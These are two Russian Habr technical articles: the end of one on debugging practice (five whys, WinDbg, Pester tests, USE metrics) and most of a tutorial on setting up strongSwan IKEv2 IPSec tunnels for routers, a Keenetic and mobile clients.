В этом примере мы выдвигали две гипотезы: о бесконечном цикле и о deadlock'e. Правило «разделяй и властвуй» помогает локализовать ошибку. Последовательными приближениями и решаются такие проблемы.
Самое важное в этом правиле — это гипотезы, поскольку со временем они превращаются в паттерны. И в зависимости от гипотезы мы применяем разные действия.
Освежись. Это правило о том, что надо просто встать из-за стола и пройтись, выпить воды, сока или кофе, сделать что угодно, но самое главное — отвлечься от своей проблемы.
Есть очень хороший метод под названием «уточка». Согласно методу мы должны рассказать о своей проблеме *уточке*. В качестве *уточки* можно использовать коллегу. Причем, ему не обязательно отвечать, достаточно слушать и соглашаться. И зачастую, после первых проговоров проблемы, ты сам находишь решение.
Это твой баг. Об этом правиле расскажу на примере.
Была проблема в одном `AccessViolationException`. Посмотрев в call-stack я увидел, что он возникал, когда мы генерировали LinqToSql-запрос внутри sql-клиента.
По этому багу было понятно, что где-то нарушается целостность памяти. К счастью, в то время мы уже использовали change management system. В итоге через пару часов стало понятно что произошло: мы поставили .Net 4.5.2 на наши продакшн-машины.
Соответственно, мы отправляем баг в Microsoft, они его рассматривают, мы с ними общаемся, они исправляют баг в .Net 4.6.1.
Для меня это вылилось в 11 месяцев работы с поддержкой Microsoft, конечно, не ежедневно, но от начала до fix'а прошло именно 11 месяцев. Кроме этого, мы отправили им десятки гигабайт дампов памяти, мы ставили сотни private-сборок, чтобы поймать эту ошибку. И все это время мы не могли сказать нашим клиентам, что виновата Microsoft, а не мы. Поэтому баг всегда ваш.
Пять почему. Мы у себя в компании используем Elastic. Elastic хорош для агрегации логов.
Ты приходишь с утра на работу, а Elastic лежит.
Первый вопрос — почему лежит Elastic? Практически сразу стало понятно — упали Master Nodes. Они координируют работу всего кластера и, когда они падают, то весь кластер перестает отвечать. Почему они не поднялись? Наверно, должен стоять автостарт? Поискав ответ, нашли — не соответствует версия плагина. Почему же Master Nodes вообще упали? Их убил OOM Killer. Это такая штука на linux-машинах, которая в случае нехватки памяти закрывает ненужные процессы. Почему же стало мало памяти? Потому что запустился процесс обновления, что следует из системных логов. Почему же раньше это работало, а сейчас нет? А потому что мы неделей раньше добавили новые узлы, соответственно Master Nodes понадобилось больше памяти для хранения индексов, конфигурации кластера.
Вопросы «почему?» помогают найти корень проблемы. В примере мы много раз могли свернуть с правильного пути, но полный fix выглядит так: обновляем плагин, запускаем сервисы, наращиваем память и делаем пометку на будущее, что в следующий раз, при добавлении новых узлов в кластер, нужно убедиться в достаточности памяти на Master Nodes.
Применение этих правил позволяет вскрыть реальные проблемы, сдвигает ваш фокус на решение этих проблем и помогает общаться. Но было бы еще лучше, если бы эти правила образовывали систему. И такая система есть, она называется — алгоритм отладки.
Алгоритм отладки
----------------
Впервые про алгоритм отладки я прочитал в книге Джона Роббинса «Debugging applications». Он описывает процесс отладки так:
Этот алгоритм полезен своим внутренним циклом — работой с гипотезой.
С каждым витком цикла мы можем себя проверить: знаем ли мы больше о системе или нет? Если мы выдвигаем гипотезы, проверяем, они не срабатывают, мы не узнаем ничего нового о работе системы, то, наверно, пора освежиться. Два актуальных вопроса на этот момент: какие гипотезы ты уже проверил и какую гипотезу проверяешь сейчас.
Этот алгоритм очень хорошо согласуется с правилами отладки, о которых мы говорили выше: повтори ошибку — это твой баг, опиши проблему — пойми систему, сформулируй гипотезу — разделяй и властвуй, проверь гипотезу — проверь штепсель, убедись что исправлено — пять почему.
На этот алгоритм у меня есть хороший пример. На одном из наших web-сервисов падал exception.
Первая наша мысль — это не наша проблема. Но по правилам, это все-таки проблема наша.
Во-первых, повторяем ошибку. На каждую тысячу запросов примерно один `StructureMapException`, поэтому воспроизвести проблему можем.
Во-вторых, пытаемся описать проблему: если пользователь делает http-запрос на наш сервис в момент, когда StructureMap пытается сделать новую зависимость, то в этом случае происходит исключение.
В-третьих, выдвигаем гипотезу о том, что StructureMap — это wrapper и внутри что-то есть, что кидает внутреннее исключение. Проверяем гипотезу с помощью procdump.exe.
```
procdump.exe -ma -e -f StructureMap w3wp.exe
```
Оказывается, что внутри лежит `NullReferenceException`.
Исследуя call-stack этого исключения понимаем, что оно происходит внутри object-builder'а в самом StructureMap.
Но `NullReferenceException` — это не сама проблема, а следствие. Нужно понять где оно возникает и кто его генерирует.
Выдвигаем следующую гипотезу: наш код почему-то возвращает зависимость null. Учитывая, что в .Net все объекты в памяти располагаются один за одним, если мы посмотрим на объекты в куче, которые лежат до `NullReferenceException`, то они нам, возможно, укажут на код, который сгенерировал исключение.
В WinDbg есть команда — List Near Objects: `!lno`. Она показывает, что интересный нам объект — это лямбда-функция, которая используется в следующем коде.
```
public CompoundInterceptor FindInterceptor(Type type) {
CompoundInterceptop interceptor;
if (!_analyzedInterceptors.TryGetValue(type, out interceptor)) {
lock (_locker) {
if (!_analyzedInterceptors.TryGetValue(type, out interceptor)) {
var interceptorArray = _interceptors.FindAll(i => i.MatchesType(type));
interceptor = new CompoundInterceptor(interceptorArray);
_analyzedInterceptors.Add(type, interceptor);
}
}
}
return interceptor;
}
```
В этом коде мы сначала проверяем существует ли значение в `Dictionary` в `_analyzedInterceptors`, если не находим, то внутри `lock` добавляем новое значение.
По идее этот код никогда не сможет вернуть null. Но проблема здесь в `_analyzedInterceptors`, который использует обычный `Dictionary` в многопоточной среде, а не `ConcurrentDictionary`.
Корень проблемы найден, мы обновились до последней версии StructureMap'а, задеплоили, убедились, что все исправлено. Последний шаг нашего алгоритма — это «научись и расскажи». В нашем случае это был поиск в коде всех `Dictionary`, которые используются в lock'е и проверка, что все они используются правильно.
Итак, алгоритм отладки — это интуитивный алгоритм, который существенно экономит время. Он делает упор на гипотезу — а это самое главное в отладке.
Проактивная отладка
-------------------
По своей сути проактивная отладка отвечает на вопрос «что произойдет, когда появится баг».
Важность техники проактивной отладки можно увидеть на диаграмме цикла жизни бага.
Проблема в том, что чем дольше баг живет, тем больше мы ресурсов (времени) на него тратим.
Правила отладки и алгоритм отладки фокусируют нас на моменте, когда баг найден и мы можем придумать что дальше с ним делать. На самом же деле мы хотим сместить свой фокус на момент создания бага. Я считаю, что мы должны делать Minimum Debuggable Product (MDP), то есть такой продукт, который имеет минимально необходимый набор инфраструктуры для эффективной отладки в продакшене.
MDP состоит из двух вещей: фитнес-функции и USE метода.
Фитнес-функции. Были популяризированы Нил Фордом и соавторами в книге «Building Evolutionary Architectures ». По своей сути фитнес-функции, по мнению авторов книги, выглядят так: есть архитектура приложения, которую мы можем разрезать под разными углами, получая такие свойства архитектуры, как *maintainability*, *performance* и прочее, и на каждый такой разрез мы должны писать тест — фитнес-функцию. Таким образом, фитнес-функция — это тест на архитектуру.
В случае MDP, фитнес-функция — это проверка debuggability. Для написания таких тестов можно использовать все что угодно: NUnit, MSTest и тд. Но, поскольку, отладка — это, зачастую, работа с внешними tool'ами, я покажу на примере использование Pester'а (powershell unit testing framework). Его плюс здесь в том, что он хорошо работает с командной строкой.
Например, внутри компании мы договариваемся, что будем использовать конкретные библиотеки для логирования; при логировании мы будем использовать конкретные паттерны; pdb-символы должны быть отданы всегда на symbol server. Это и будет являться теми условностями, которые мы будем проверять в наших тестах.
```
Describe 'Debuggability’ {
It 'Contains line numbers in PDBs’ {
Get-ChildItem -Path . -Recurse -Include @("*.exe", "*. dll ") `
| ForEach-Object { &symchk.exe /v "$_" /s "\\network\" *>&1 } `
| Where-Object { $_ -like "*Line nubmers: TRUE*" } `
| Should -Not –BeNullOrEmpty
}
}
```
Этот тест проверяет, что все pdb-символы были отданы на symbol server и были отданы правильно, то есть те, которые содержат номера строк внутри. Для этого берем скомпилированную версию продакшена, находим все exe- и dll-файлы, пропускаем все эти бинарники через утилиту syschk.exe, которая входит в пакет «Debugging tools for windows». Утилита syschk.exe сверяет бинарник с symbol server'ом и, если находит там pdb-файл, печатает отчет об этом. В отчете мы ищем строку «Line numbers: TRUE». И в финале проверяем, чтобы результат был не «null or empty».
Такие тесты необходимо встраивать в continuous deployment pipeline. После того, как прошли интеграционные тесты и unit-тесты, запускаются фитнес-функции.
Покажу ещё один пример с проверкой нужных библиотек в коде.
```
Describe 'Debuggability’ {
It 'Contains package for logging’ {
Get-ChildItem -Path . -Recurse -Name "packages.config" `
| ForEach-Object { Get-Content "$_" } `
| Where-Object { $_ -like "*nlog*" } `
| Should -Not –BeNullOrEmpty
}
}
```
В тесте мы берем все файлы packages.config и пытаемся найти в них библиотеки nlog. Аналогично мы можем проверить, что внутри поля nlog используется поле correlation id.
USE методы. Последнее, из чего состоит MDP — это метрики, которые нужно собирать.
Продемонстрирую на примере метода USE, который был популяризирован Бренданом Греггом. Идея простая: если в коде есть какая-то проблема, достаточно взять три метрики: utilization (использование), saturation (насыщение), errors (ошибки), которые помогут осознать где проблема.
Некоторые компании, например Circonus (они делают monitoring soft), свои [дашборды](https://www.circonus.com/2017/08/system-monitoring-with-the-use-dashboard/) выстраивают в виде обозначенных метрик.
Если посмотреть детально, например, на память, то использование — это количество свободной памяти, насыщение — это количество обращений к диску, ошибки — это любые ошибки, которые появлялись. Поэтому чтобы делать удобные для отладки продукты, нужно собирать USE-метрики для всех фич и всех частей подсистемы.
Если взять какую-нибудь бизнес-фичу, то, скорее всего, в ней можно выделить три метрики:
* Использование — время обработки запроса.
* Насыщение — длина очереди.
* Ошибки — любые исключительные ситуации.
В качестве примера посмотрим на график количества обработанных запросов, которые делает одна из наших систем. Как можно заметить, последние три часа сервис не обрабатывал запросы.
Первая гипотеза, которую мы сделали, — сервис упал и надо его запустить заново. При проверке оказывается, что сервис работает, использует 4-5% CPU.
Вторая гипотеза — внутри сервиса падает ошибка, которую мы не видим. Воспользуемся утилитой etrace.
```
etrace --kernel Process ^
--where ProcessName=Ex5-Service ^
--clr Exception
```
Утилита позволяет в realtime подписываться к ETW-events и выводить их на экран.
Видим, что падает `OutOfMemoryException`. Но, второй вопрос, почему его нет в логах? Ответ находится быстро — мы его перехватываем, пытаемся подчистить память, немного подождать и начать работать заново.
```
while (ShouldContinue()) {
try {
Do();
} catch (OutOfMemoryException) {
Thread.Sleep(100);
GC.CollectionCount(2);
GC.WaitForPendingFinalizers();
}
}
```
Следующая гипотеза — кто-то съедает всю память. Согласно дампу памяти, больше всего объектов находится в кэше.
```
public class Cache {
private static ConcurrentDictionary \_items = new ...
private static DateTime \_nextClearTime = DateTime.UtcNow;
public String GetFromCache(int key) {
if (\_nextClearTime < DateTime.UtcNow) {
\_nextClearTime = DateTime.UtcNow.AddHours(1);
\_items.Clear();
}
return \_items[key];
}
}
```
Из кода видно, что каждый час кэш должен очищаться. Но памяти уже не хватало, до очистки даже не доходили. Посмотрим на пример метрики USE для кеша.
По графику сразу видно — возросла память, сразу начались ошибки.
Итак, выводы о том, что же такое проактивная отладка.
* Отладка — это требование к архитектуре. По сути, то, что мы разрабатываем — это модель работы системы. Сама же система — это байты и биты, которые лежат в памяти на продакшн-серверах. Проактивная отладка говорит о том, что необходимо думать о своем операционном окружении.
* Уменьшайте путь бага в системе. К техникам проактивной отладки относятся и проверка всех публичных методов и их аргументов; кидать Exception сразу, как он появился, а не отлаживать до какого-то момента и тд.
* Minimum Debuggable Product — хороший инструмент, чтобы коммуницировать между собой и вырабатывать требования к отлаживаемости продукта.
Итак, как фиксить баги эффективно?
----------------------------------
1. Применяйте проактивную отладку.
2. Следуйте алгоритму.
3. Проверяйте гипотезы.
---
В этот раз спонсор нашей рекламы — Jon Skeet. Даже если вы не собираетесь в Москву на новый [DotNext](https://dotnext-moscow.ru/), видео стоит посмотреть (Джон очень старался). | https://habr.com/ru/post/420793/ | null | ru | null |
# IPSec всемогущий
Добрый день, друзья. Не секрет, что многим из нас хоть раз, но пришлось столкнуться с необходимостью настройки VPN. Являясь активным читателем Хабра я заметил, что несмотря на обилие статей про IPSec, многим он всё равно представляется чем-то сложным и перегруженным. В данной статье я попытаюсь развеять данные мифы на примере собственной полностью рабочей конфигурации. В четырех примерах мы полностью пройдемся по настройке наиболее популярного решения под Linux (Strongswan) начиная от простого туннеля с аутентификацией сторон PSK-ключами до установки host-to-host соединения с аутентификацией обеих сторон на базе сертификатов от Let's Encrypt. Интересно? Добро пожаловать под кат!
История вопроса
---------------
Изначально VPN планировался только для организации канала между мини-роутером родителей и домашним «подкроватным» сервером, по совместительству выступающим в роли маршрутизатора.
Спустя небольшой промежуток времени к этой компании из двух устройств добавился Keenetic.
Но единожды начав, остановиться оказалось сложно, и вскоре на схеме появились телефоны и ноутбук, которым захотелось скрыться от всевидящего рекламного ока MT\_Free и прочих нешифрованных WiFi-сетей.
Потом у всеми любимого РКН наконец-то окреп банхаммер, которым он несказанно полюбил прилюдно размахивать во все стороны, и для нейтрализации его заботы о простых смертных пришлось ~~поддержать иностранный IT-сектор~~ приобрести VPS за рубежом.
К тому же некоей гражданке, внешне напоминающей Шапокляк, всюду бегающей со своим ~~ридикюлем~~ Пакетом и, вероятно, считающей что «Кто людям помогает — тот тратит время зря. Хорошими делами прославиться нельзя», захотелось тайком подглядывать в чужой трафик и брать его на карандаш. Придется тоже защищаться от такой непрошенной любви и VPN в данном случае именно то, что доктор прописал.
Подведем небольшой итог. Нужно было подобрать решение, которое в идеале способно закрыть сразу несколько поставленных задач:
* Объединить сети между Linux-маршрутизаторами
* Построить туннель между Linux и бытовым Keenetic
* Дать доступ к домашним ресурсам и интернету носимым устройствам (телефоны, ноутбуки) из недоверенных сетей
* Создать надежно зашифрованный туннель до удаленной VPS
Не стоит также забывать про прекрасный принцип KISS — Keep It Simple, Stupid. Чем меньше компонентов будет задействовано и чем проще настройка каждого из них — тем надежнее.
Обзор существующих решений
--------------------------
Коротко пройдемся по тому что есть сейчас:
**PPTP**
Дедушка Ленин всех протоколов. Умер, «разложился на плесень и на липовый мёд».
**L2TP**
Кто-то, кроме одного провайдера, это использует?
**Wireguard**
Проект развивается. Активно пилится. Легко создать туннель между двумя пирами, имеющими статический IP. В остальных случаях на помощь всегда готовы придти костыли, велосипеды с квадратными колёсами и синяя изолента, но это не наш путь.
**OpenVPN**
Плюсы:
* Поддержка множества платформ — Windows, Linux, OpenWRT и её производные, Android
* Стойкое шифрование и поддержка сертификатов.
* Гибкость настройки.
И минусы:
* Работа целиком и полностью в user-space.
* Ограниченная поддержка со стороны домашних машрутизаторов — кривенько-косенько на Mikrotik (не умаляя остальных достоинств железок) и нормально в OpenWRT.
* Сложности с настройкой мобильных клиентов: нужно скачивать, либо создавать свой инсталлятор, копировать куда-то конфиги.
* В случае наличия нескольких туннелей ждут танцы с правкой systemd-юнитов на сервере.
**OpenConnect (open-source реализация протокола Cisco Anyconnect)**
Очень интересное решение о котором, к сожалению, довольно мало информации.
Плюсы:
* Относительно широкая поддержка различных платформ — Windows, Android, Mac на базе родного приложения Cisco Anyconnect из магазина — идеальный вариант предоставить доступ ко внутренней сети носимым устройствам.
* Стойкое шифрование, поддержка сертификатов, возможность подключения 2FA
* Сам протокол полностью TLS-based (в отличие от OpenVPN, который легко детектится на 443 порту). Кроме TLS поддерживается и DTLS — во время установленного сеанса клиент может переключится на передачу данных через UDP и обратно.
* Прекрасное сосуществование на одном порту как VPN, так и полноценного web-сервера при помощи sniproxy.
* Простота настройки как сервера, так и клиентов.
Здесь тоже не обошлось без минусов:
* Работа целиком и полностью в user-space.
* [TCP поверх TCP плохая идея.](http://sites.inka.de/bigred/devel/tcp-tcp.html)
* Поддержки со стороны customer-grade оборудования нет.
* Сложность установки туннелей между двумя Linux: теоретически можно, практически — лучше потратить время на что-то более полезное.
* В случае наличия нескольких туннелей ждут танцы с несколькими конфигами и правкой systemd-юнитов.
Казалось бы тупик, но присмотревшись внимательнее и потратив немного времени на изучение я понял, что IPSec на базе IKEv2 способен заменить всё остальное.
**IKEv2 IPSEC**
Плюсы:
* С появлением IKEv2 сам протокол стал проще в настройке, в сравнении с предыдущей версией, правда ценой потери обратной совместимости.
* Благодаря стандартизации обеспечивается работа где угодно и на чём угодно — список можно вести до бесконечности. Linux, Mikrotik (в последних версиях RouterOS), OpenWRT, Android, iPhone. В Windows также есть нативная поддержка начиная с Windows 7.
* Высокая скорость: обработка трафика полностью в kernel-space. User-space часть нужна только для установки параметров соединения и контроля работоспособности канала.
* Возможность использовать несколько методов аутентификации: используя как PSK, так и сертификаты, причем в любых сочетаниях.
* Несколько режимов работы: туннельный и транспортный. Чем они отличаются можно почитать в том числе и на Хабре.
* Нетребовательность к настройкам промежуточных узлов: если в первой версии IKE были проблемы, вызванные NAT, то в IKEv2 есть встроенные механизмы для преодоления NAT и нативная фрагментация IKE-сообщений, позволяющая установить соединение на каналах с кривым MTU. Забегая вперед скажу, что на практике я еще ни разу не сталкивался с WiFi сетью, где бы клиенту не удалось установить соединение.
Минусы, впрочем, тоже есть:
* Необходимо потратить немного времени на изучение и понять как это работает
* Особенность, которая может сбить с толку новичка: IPSec, в отличие от привычных VPN решений, не создает сетевые интерфейсы. Задаются только политики обработки трафика, всё остальное разруливается средствами firewall.
Прежде чем приступить к настройке будем считать что читатель уже немного знаком с базовыми понятиями и терминами. В помощь новичку можно посоветовать статью с [Википедии](https://ru.wikipedia.org/wiki/IPsec) и сам Хабр, на котором уже достаточно интересных и полезных статей по данной тематике.
Приступаем к настройке
----------------------
Определившись с решением приступаем к настройке. Схема сети в моем случае имеет следующий вид (убрал под спойлер)
**Схема сети**
**ipsecgw.example.com** — домашний сервер, являющийся центром сети. Внешний IP 1.1.1.1. Внутренняя сеть 10.0.0.0/23 и еще один адрес 10.255.255.1/30 для установки приватной BGP-сессии с VPS;
**mama** — Linux-роутер на базе маленького беззвучного неттопа, установленный у родителей. Интернет-провайдер выдает динамический IP-адрес. Внутренняя сеть 10.0.3.0/24;
**keenetic** — маршрутизатор Keenetic с установленным модулем IPSec. Интернет-провайдер выдает динамический IP-адрес. Внутренняя сеть 10.0.4.0/24;
**road-warriors** — переносные устройства, подключающиеся из недоверенных сетей. Адреса клиентам выдаются динамически при подключении из внутренного пула (10.1.1.0/24);
**rkn.example.com** — VPS вне юрисдикции уважаемого РКН. Внешний IP — 5.5.5.5, внутренний адрес 10.255.255.2/30 для установки приватной BGP-сессии.
### Первый шаг. От простого к сложному: туннели с использованием pre-shared keys (PSK)
На обоих Linux-box устанавливаем необходимые пакеты:
```
sudo yum install strongswan
```
На обоих хостах открываем порты 500/udp, 4500/udp и разрешаем прохождение протокола ESP.
Правим файл /etc/strongswan/ipsec.secrects (на стороне хоста ipsecgw.example.com) и вносим следующую строку:
```
mama@router.home.local: PSK "Very strong PSK"
```
На второй стороне аналогично:
```
root@root.mama.local: PSK "Very strong PSK"
```
В данном случае в качестве ID выступает вымышленный адрес элестронной почты. Больше информации можно подчерпнуть на официальной [вики](https://wiki.strongswan.org/projects/strongswan/wiki/IpsecSecrets).
Секреты сохранены, движемся дальше.
На хосте ipsecgw.example.com редактируем файл /etc/strongswan/ipsec.conf:
```
config setup //Настройки самого демона charon
charondebug = "dmn 0, mgr 0, ike 0, chd 0, job 0, cfg 0, knl 0, net 0, asn 0, enc 0, lib 0, esp 0, tls 0, tnc 0, imc 0, imv 0, pts 0" //Отключаем избыточное логирование
conn %default //Общие настройки для всех соединений
reauth = yes
rekey = yes
keyingtries = %forever
keyexchange = ikev2 //Протокол обмена ключами для всех соединений - IKEv2
dpdaction = hold
dpddelay = 5s //Каждые 5 секунд шлем DPD (Dead Peer Detection) удаленной стороне
mobike = yes //Включаем Mobile IKE - пир может менять свой IP без необходимости переустановки тоннеля
conn mama //Описываем конкретное соединение
left = %defaultroute //Left - наш пир. Директива %defaultroute указывает демону слушать на предмет установки IKE-сессии интрейфейс, котороый смотрит в default route
right = %any //Удаленный пир может иметь любой IP-адрес
authby = psk //Механизм проверки подлинности - используя секретый ключ
leftid = mama@router.home.local //Наш ID, указанный в ipsec.secrets
rightid = root@router.mama.local //ID удаленного пира
leftsubnet = 10.0.0.0/23,10.1.1.0/24
rightsubnet = 10.0.3.0/24
type = tunnel
ike = aes256-aes192-aes128-sha256-sha384-modp2048-modp3072-modp4096-modp8192,aes128gcm16-sha384-x25519!
esp = aes256-aes192-aes128-sha256-sha384-modp2048-modp3072-modp4096-modp8192,aes128gcm16-sha256-sha384-x25519!
auto = add //При старте charon просто добавляем соединение и ждем подключения удаленной стороны
```
Аналогично редактируем на удаленном пире /etc/strongswan/ipsec.conf:
```
config setup
charondebug = "dmn 0, mgr 0, ike 0, chd 0, job 0, cfg 0, knl 0, net 0, asn 0, enc 0, lib 0, esp 0, tls 0, tnc 0, imc 0, imv 0, pts 0"
conn %default
reauth = yes
rekey = yes
keyingtries = %forever
keyexchange = ikev2
dpdaction = restart
dpddelay = 5s
mobike = yes
conn mama
left = %defaultroute
right = ipsecgw.example.com
authby = psk
leftid = root@router.mama.local
rightid = mama@router.home.local
leftsubnet = 10.0.3.0/24
rightsubnet = 10.0.0.0/23,10.1.1.0/24
type = tunnel
ike = aes128gcm16-sha384-x25519!
esp = aes128gcm16-sha384-x25519!
auto = route
```
Если сравнить конфиги, то можно увидеть что они почти зеркальные, перекрёстно поменяны местами только определения пиров.
Директива **auto = route** заставляет charon установить ловушку для трафика, подпадающего в заданные директивами left/rightsubnet (traffic selectors). Согласование параметров туннеля и обмен ключами начнутся немедленно после появления трафика, попадающего под заданные условия.
На сервере ipsecgw.example.com в настройках firewall запрещаем маскарадинг для сети 10.0.3.0/24. Разрешаем форвардинг пакетов между 10.0.0.0/23 и 10.0.3.0/24 и наоборот. На удаленном узле выполняем аналогичные настройки, запретив маскарадинг для сети 10.0.0.0/23 и настроив форвардинг.
Рестартуем strongswan на обоих серверах и пробуем выполнить ping центрального узла:
```
sudo systemctl restart strongswan
ping 10.0.0.1
```
**Убеждаемся что все работает:**
```
sudo strongswan status
Security Associations (1 up, 0 connecting):
mama[53]: ESTABLISHED 84 minutes ago, 1.1.1.1[mama@router.home.local]...2.2.2.2[root@router.mama.local]
mama{141}: INSTALLED, TUNNEL, reqid 27, ESP in UDP SPIs: c4eb45fe_i ca5ec6ca_o
mama{141}: 10.0.0.0/23 10.1.1.0/24 === 10.0.3.0/24
```
Нелишним будет так же убедиться что в файле /etc/strongswan/strongswan.d/charon.conf на всех пирах параметр make\_before\_break установлен в значение yes. В данном случае демон charon, обслуживающий протокол IKEv2, при выполнении процедуры смены ключей не будет удалять текущую security association, а сперва создаст новую.
### Шаг второй. Появление Keenetic
Приятной неожиданностью оказался встроенный IPSec VPN в официальной прошивке Keenetic. Для его активации достаточно перейти в **Настройки компонентов KeeneticOS** и добавить пакет **IPSec VPN**.
Готовим настройки на центральном узле, для этого:
Правим /etc/strongswan/ipsec.secrects и добавляем PSK для нового пира:
```
keenetic@router.home.local: PSK "Keenetic+PSK"
```
Правим /etc/strongswan/ipsec.conf и добавляем в конец еще одно соединение:
```
conn keenetic
left = %defaultroute
right = %any
authby = psk
leftid = keenetic@router.home.local
rightid = root@router.keenetic.local
leftsubnet = 10.0.0.0/23
rightsubnet = 10.0.4.0/24
type = tunnel
ike = aes256-aes192-aes128-sha256-sha384-modp2048-modp3072-modp4096-modp8192,aes128gcm16-sha384-x25519!
esp = aes256-aes192-aes128-sha256-sha384-modp2048-modp3072-modp4096-modp8192,aes128gcm16-sha256-sha384-x25519!
auto = add
```
Со стороны Keenetic настройка выполняется в WebUI по пути: **Интернет → Подключения →
Другие подключения**. Всё довольно просто.
**(3 изображения)**
Если планируется через тоннель гонять существенные объемы трафика, то можно попробовать включить аппаратное ускорение, которое поддерживается многими моделями. Включается командой **crypto engine hardware** в CLI. Для отключения и обработки процессов шифрования и хеширования при помощи инструкций CPU общего назначения — **crypto engine software**
После сохранения настроек рестрартуем strongswan и даём подумать полминуты Keenetic-у. После чего в терминале видим успешную установку соединения:
**Все работает:**
```
sudo strongswan status
Security Associations (2 up, 0 connecting):
keenetic[57]: ESTABLISHED 39 minutes ago, 1.1.1.1[keenetic@router.home.local]...3.3.3.3[root@router.keenetic.local]
keenetic{146}: INSTALLED, TUNNEL, reqid 29, ESP SPIs: ca8f556e_i ca11848a_o
keenetic{146}: 10.0.0.0/23 === 10.0.4.0/24
mama[53]: ESTABLISHED 2 hours ago, 1.1.1.1[mama@router.home.local]...2.2.2.2[root@router.mama.local]
mama{145}: INSTALLED, TUNNEL, reqid 27, ESP in UDP SPIs: c5dc78db_i c7baafd2_o
mama{145}: 10.0.0.0/23 10.1.1.0/24 === 10.0.3.0/24
```
### Шаг третий. Защищаем мобильные устройства
После чтения стопки мануалов и кучи статей решено было остановиться на связке бесплатного сертификата от Let's Encrypt для проверки подлинности сервера и классической авторизации по логину-паролю для клиентов. Тем самым мы избавляемся от необходимости поддерживать собственную PKI-инфраструктуру, следить за сроком истечения сертификатов и проводить лишние телодвижения с мобильными устройствами, устанавливая самоподписанные сертификаты в список доверенных.
Устанавливаем недостающие пакеты:
```
sudo yum install epel-release
sudo yum install certbot
```
Получаем standalone сертификат (не забываем предварительно открыть 80/tcp в настройках iptables):
```
sudo certbot certonly --standalone -d ipsecgw.example.com
```
После того как certbot завершил свою работу мы должны научить Strongswan видеть наш сертификат:
* в директории /etc/strongswan/ipsec.d/cacerts создаем 2 символические ссылки: одну на корневое хранилище доверенных сертификатов в /etc/pki/tls/certs; и вторую с названием ca.pem, указывающую на /etc/letsencrypt/live/ipsecgw.example.com/chain.pem
* В директории /etc/strongswan/ipsec.d/certs также создаются два симлинка: первый, с именем certificate.pem, ссылается на файл /etc/letsencrypt/live/ipsecgw.example.com/cert.pem. И второй, с именем fullchain.pem, ссылающийся на /etc/letsencrypt/live/ipsecgw.example.com/fullchain.pem
* В директории /etc/strongswan/ipsec.d/private размещаем симлинк key.pem, указывающий на закрытый ключ, сгенерированный certbot и лежащий по пути /etc/letsencrypt/live/ipsecgw.example.com/privkey.pem
Добавляем в ipsec.secrets аутентификацию через RSA и связку логинов/паролей для новых пользователей:
```
ipsecgw.example.com : RSA key.pem
username phone : EAP "Q1rkz*qt"
username notebook : EAP "Zr!s1LBz"
```
Перезапускаем Strongswan и при вызове sudo strongswan listcerts мы должны видеть информацию о сертификате:
```
List of X.509 End Entity Certificates
subject: "CN=ipsecgw.example.com"
issuer: "C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3"
validity: not before May 23 19:36:52 2020, ok
not after Aug 21 19:36:52 2020, ok (expires in 87 days)
serial: 04:c7:70:9c:a8:ce:57:cc:bf:6f:cb:fb:d3:a9:cf:06:b0:a8
altNames: ipsecgw.example.com
flags: serverAuth clientAuth
OCSP URIs: http://ocsp.int-x3.letsencrypt.org
certificatePolicies:
2.23.140.1.2.1
1.3.6.1.4.1.44947.1.1.1
CPS: http://cps.letsencrypt.org
```
После чего описываем новое соединение в **ipsec.conf**:
```
conn remote-access
dpddelay = 30s //Переопределяем частоту посылок DPD запросов, чтобы не сажать батарейку телефона
left = %defaultroute
leftid = "CN=ipsecgw.example.com"
leftcert = fullchain.pem //При подключении отдаем клиенту наш сертификат с полной цепочкой доверия
leftsendcert = always
leftsubnet = 0.0.0.0/0 //Инструктируем клиента заворачивать весь трафик в туннель
right = %any
rightid = %any
rightauth = eap-mschapv2 //Аутентифицируем пир, используя EAP-MSCHAP2
rightsendcert = never
eap_identity = %identity
rightsourceip = 10.1.1.0/24 //Strongswan будет выдавать адреса клиентам из данного пула
rightdns = 10.0.0.1,10.0.0.3 //И отдавать указанные DNS
type = tunnel
ike = aes256-aes192-aes128-sha256-sha384-modp2048-modp3072-modp4096-modp8192,aes128gcm16-sha384-x25519!
esp = aes256-aes192-aes128-sha256-sha384-modp2048-modp3072-modp4096-modp8192,aes128gcm16-sha256-sha384-x25519!
auto = add //Добавляем соединение и ждем подключения удаленного пира
dpdaction = restart //Рестартуем соединение, если пир перестал отвечать на DPD
```
Не забываем отредактировать файл /etc/sysconfig/certbot указав, что обновлять сертификат тоже будем как standalone, внеся в него CERTBOT\_ARGS="--standalone".
Так же не забываем включить таймер certbot-renew.timer и установить хук для перезапуска Strongswan в случае выдачи нового сертификата. Для этого либо размещаем простенький bash-скрипт в /etc/letsencrypt/renewal-hooks/deploy/, либо еще раз редактируем файл /etc/sysconfig/certbot.
Перезапускаем Strongswan, включаем в iptables маскарадинг для сети 10.1.1.0/24 и переходим к настройке мобильных устройств.
#### Android
Устанавливем из Google Play приложение [Strongswan](https://play.google.com/store/apps/details?id=org.strongswan.android).
Запускаем и создаем новый
**профиль**
Сохраняем профиль, подключаемся и, спустя секунду, можем не переживать о том, что кто-то сможет подсматривать за нами.
**Проверяем:**
```
sudo strongswan statusall
Security Associations (3 up, 0 connecting):
remote-access[109]: ESTABLISHED 2 seconds ago, 1.1.1.1[CN=ipsecgw.example.com]...4.4.4.4[phone]
remote-access{269}: INSTALLED, TUNNEL, reqid 55, ESP in UDP SPIs: c706edd1_i e5c12f1d_o
remote-access{269}: 0.0.0.0/0 ::/0 === 10.1.1.1/32
mama[101]: ESTABLISHED 34 minutes ago, 1.1.1.1[mama@router.home.local]...2.2.2.2[root@router.mama.local]
mama{265}: INSTALLED, TUNNEL, reqid 53, ESP in UDP SPIs: c8c83342_i c51309db_o
mama{265}: 10.0.0.0/23 10.1.1.0/24 === 10.0.3.0/24
keenetic[99]: ESTABLISHED 36 minutes ago, 1.1.1.1[keenetic@router.home.local]...3.3.3.3[root@router.keenetic.local]
keenetic{263}: INSTALLED, TUNNEL, reqid 52, ESP SPIs: c3308f33_i c929d6f1_o
keenetic{263}: 10.0.0.0/23 === 10.0.4.0/24
```
#### Windows
Windows актуальных версий приятно удивил. Вся настройка нового VPN происходит путем вызова двух командлетов PowerShell:
```
Add-VpnConnection -Name "IKEv2" -ServerAddress ipsecgw.example.com -TunnelType "IKEv2"
